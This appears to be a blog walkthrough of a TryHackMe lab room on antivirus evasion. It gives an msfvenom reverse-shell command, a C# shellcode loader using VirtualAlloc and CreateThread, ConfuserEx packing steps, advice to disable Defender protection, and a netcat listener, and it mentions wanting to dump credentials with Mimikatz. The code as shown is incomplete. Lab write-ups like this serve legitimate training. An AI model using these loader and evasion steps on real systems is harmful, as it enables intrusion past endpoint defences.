TryHackMe AV Evasion: Shellcode Walthrough

4 min readMar 18, 2023

TL;DR Walkthrough of the THM room on AV Evasion located here.

A full list of our TryHackMe walkthroughs and cheatsheets is here.


We’ll lead with the tools we used to complete this room and links to where to get them:

I’ll avoid rambling about what shellcode is and just dive straight into doing the thing. Anyone reading this has likely gone through the THM room anyway and they do a good job at explaining it.


The VM gives you RDP access as a mere user and a webpage to upload an *.exe to. The Challenge is to gain access to another user’s account and grab the flag off their desktop.

The shellcode

THM helpfully lets us know that we can create shellcode via msfvenom and then copy/paste that code into the C# that they provide. They also provide brief instructions on using the Confuser packer. Most importantly however they did not update the Microsoft Defender that is running on the VM. They did however call it by its former name “Windows Defender”, so bear that in mind when you get to the question regarding what anti-malware is running on the VM.

On Kali simply:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your IP> LPORT=7478 -f csharp

Substitute the IP on your OpenVPN interface.

Copy/paste the resulting hex and put it into THM’s C# as shown below:

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

public static void Main()
byte[] shellcode = new byte[] {

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);


Please note that Defender will flag and delete the code, even in your notes in Notepad. I made a folder exemption on my Windows 10 VM and compiled the code there in Visual Studio.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\UnEncStagelessPayload.cs

The Packer

Thanks to THM being obliging enough to not update Defender on their VM we can get our newly created code running on it once we use Confuser.

Install ConfuserEx, run it, then drag & drop the *.exe into the window. Navigate to the Settings Tab and make sure compression is enabled. Edit the default rule and set the preset to Maximum. Go to the Protect tab and hit Protect.

Please note that you may have to disable Defender’s Real-Time Protection in order for Confuser to work. Defender did its job on my VM and flagged the code before Confuser could finish and output anything. Also make sure you set Confuser to output to the folder you made an exemption for. Defender will flag the packed *.exe, it is not fooled.

Get a reverse shell

We can now upload our packed executable containing our shellcode and get a reverse shell.

On Kali:

nc -lvp 7478
Set-Location C:\Users\av-victim\Desktop
Cat flag.txt

If you prefer not to use BASH aliases then ‘Get-Content flag.txt’ will get the job done.

Sadly av-victim is merely a user. I wanted to pull down Invoke-Mimikatz from Kali, dump creds, and PTH with evil-winrm. Luckily all we needed to complete the room was flag.txt. I tolerated a dinky reverse shell long enough to read it.


IMHO Microsoft Defender is not a bad product. It is certainly aggressive at flagging and deleting executables we have created for screwing around in the lab and THM, not to mention deleting the source code, notes in text files, etc. It will block PS1s that are often used by attackers like PowerView from running even if it doesn’t flag the file on disk.

I really just wanted to put my notes regarding generating shellcode, inputting it into C#, and compiling the thing in one place. If this writeup helps anyone else then that’s a bonus.




I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.